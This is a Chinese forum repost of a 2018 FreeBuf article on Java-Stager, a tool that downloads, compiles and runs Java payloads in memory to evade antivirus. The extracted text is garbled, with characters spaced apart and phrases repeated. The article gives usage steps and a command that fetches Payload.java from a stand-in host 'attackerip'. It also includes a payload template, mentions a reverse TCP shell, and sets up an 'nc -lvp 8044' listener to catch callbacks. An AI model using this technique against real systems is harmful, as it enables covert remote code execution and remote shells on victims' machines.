搜索

[13263] 2018-10-04_看我如何利用JavaStager在内存中下载、编译和执行Java文件

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-10-04_看我如何利用JavaStager在内存中下载、编译和执行Java文件 看 我 如 何 利 用 J a v a   S t a g e r 在 内 存 中 下 载 、 编 译 和 执 行 J a v a 文 件 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 0 - 0 4 今 天 给 大 家 介 绍 的 是 一 款 名 叫 今 天 给 大 家 介 绍 的 是 一 款 名 叫 J a v a - S t a g e r 的 工 具 ， 在 该 工 具 的 帮 助 下 ， 我 们 可 以 轻 松 地 在 内 存 中 下 载 、 编 译 和 的 工 具 ， 在 该 工 具 的 帮 助 下 ， 我 们 可 以 轻 松 地 在 内 存 中 下 载 、 编 译 和 执 行 执 行 J a v a 文 件 （ 代 码 ） 。 文 件 （ 代 码 ） 。 注 意 ： 需 要 提 醒 大 家 一 下 ， 该 项 目 仅 供 研 究 及 测 试 使 用 ， 请 不 要 将 其 用 于 恶 意 目 的 。 J a v a - S t a g e r 介 绍 介 绍 本 项 目 基 于 J a m e s   W i l l i a m s 的 演 讲 《 下 一 代 反 病 毒 引 擎 v s 我 的 垃 圾 代 码 》 所 开 发 ， 感 兴 趣 的 同 学 可 以 观 看 他 的 演 讲 视 频 以 获 取 更 多 的 灵 感 ： 视 频 地 址 ： 视 频 地 址 ：
演 讲 内 容 的 关 键 点 ： 演 讲 内 容 的 关 键 点 ： 1 . 如 何 在 目 标 设 备 中 加 载 一 个 S t a g e r （ 需 要 使 用 合 法 代 码 触 及 目 标 磁 盘 ） ； 2 . S t a g e r 通 过 H T T P 下 载 源 码 （ 驻 留 在 内 存 中 ） ； 3 . S t a g e r 编 译 源 码 （ 同 样 在 内 存 中 进 行 ） ； 4 . S t a g e r 执 行 编 译 代 码 （ 同 样 在 内 存 中 进 行 ） ； 不 过 他 的 研 究 主 要 基 于 的 是 . n e t ， 不 过 我 认 为 这 种 技 术 同 样 能 够 应 用 到 J a v a 中 ， 所 以 我 就 设 计 了 这 样 一 个 P o C 来 验 证 上 述 技 术 的 可 行 性 。 如 何 使 用 ？ 如 何 使 用 ？ 1 . 克 隆 整 个 项 目 代 码 ； 2 . 在 能 够 使 用 m a v e n 的 I D E 编 辑 器 （ 例 如 N e t B e a n s ） 中 打 开 项 目 目 录 ； 3 . S t a g e r 和 样 本 P a y l o a d 可 以 在 项 目 目 录 的 ” / s r c / m a i n / j a v a ” 中 找 到 ； 4 . 选 择 你 喜 欢 的 S t a g e r ， 然 后 编 译 项 目 代 码 ， 我 在 默 认 配 置 中 选 择 的 是 “ c l e a n / b u i l d ” ； N e t b e a n s 中 的 输 出 结 果 应 该 跟 下 面 的 代 码 类 似 ： 在 目 标 主 机 中 ， 你 需 要 上 传 “ J a v a S t a g e e r * . j a r ” 文 件 以 及 包 含 了 J a n i n o （ 从 项 目 的 “ t a r g e t ” 目 录 中 获 取 ） 的 “ l i b ” 文 件 夹 。 下 面 的 命 令 将 会 执 行 s t a g e r ： 下 面 这 条 命 令 可 以 给 你 提 供 相 关 文 件 的 使 用 信 息 ： 其 中 的 “ u r l ” 是 命 令 唯 一 需 要 的 参 数 ， 该 参 数 将 会 传 递 给 S t a g e r ， 下 面 给 出 的 是 一 个 使 用 样 例 ： B u i l d i n g j a r : C : U s e r s c o r n e r p i r a t e D o c u m e n t s N e t B e a n s P r o j e c t s j a v a - s t a g e r t a r g e t J a v a S t a g e r - 0 . 1 - i n i t i a l . j a r j a v a - j a r   J a v a S t a g e r - 0 . 1 - i n i t i a l . j a r P r o p e r U s a g e   i s :   j a v a   - j a r   J a v a S t a g e r - 0 . 1 - i n i t i a l . j a r   < u r l >
你 的 P a y l o a d 必 须 存 储 在 一 个 名 叫 “ P a y l o a d . j a v a ” 的 文 件 中 ， 你 的 漏 洞 利 用 代 码 必 须 写 在 名 叫 “ R u n ” 的 静 态 方 法 内 。 如 果 你 想 自 己 开 发 的 话 ， 可 以 参 考 下 面 这 个 模 版 代 码 ： 我 在 “ T C P R e v e r s e S h e l l . j a v a ” 文 件 中 还 提 供 了 一 个 可 供 参 考 的 反 向 T C P   P a y l o a d ， 为 了 防 止 命 名 冲 突 ， 我 就 不 将 其 取 名 为 “ P a y l o a d . j a v a ” 了 ， 如 果 你 想 了 解 “ T C P R e v e r s e S h e l l . j a v a ” 的 详 细 工 作 机 制 并 进 行 定 制 开 发 的 话 ， 可 以 参 考 该 文 件 H e a d e r 中 的 注 释 内 容 。 除 此 之 外 ， 你 可 能 还 需 要 在 自 己 的 H T T P 服 务 器 上 托 管 你 的 “ P a y l o a d . j a v a ” 文 件 ， 如 果 你 只 想 使 用 简 单 的 H T T P / H T T P S 服 务 （ P y t h o n 2 或 P y t h o n 3 ） 的 话 ， 我 建 议 你 用 A p a c h e 【 参 考 资 料 】 。 除 此 之 外 。 攻 击 端 还 需 要 启 动 一 个 n e t c a t 监 听 器 并 使 用 标 准 n c   - l v p   8 0 4 4 技 术 来 捕 捉 链 接 回 调 。 参 考 资 料 参 考 资 料 请 点 击 下 方 阅 读 原 文 阅 读 原 文 进 行 观 看 。 * 参 考 来 源 ： 参 考 来 源 ： j a v a - s t a g e r ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 j a v a - j a r   J a v a S t a g e r - 0 . 1 - i n i t i a l . j a r   h t t p : / / a t t a c k e r i p / P a y l o a d . j a v a p u b l i c c l a s s   P a y l o a d   {       p u b l i c   s t a t i c   v o i d   R u n ( )   {             / /   Y o u r   c o d e   h e r e       } }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理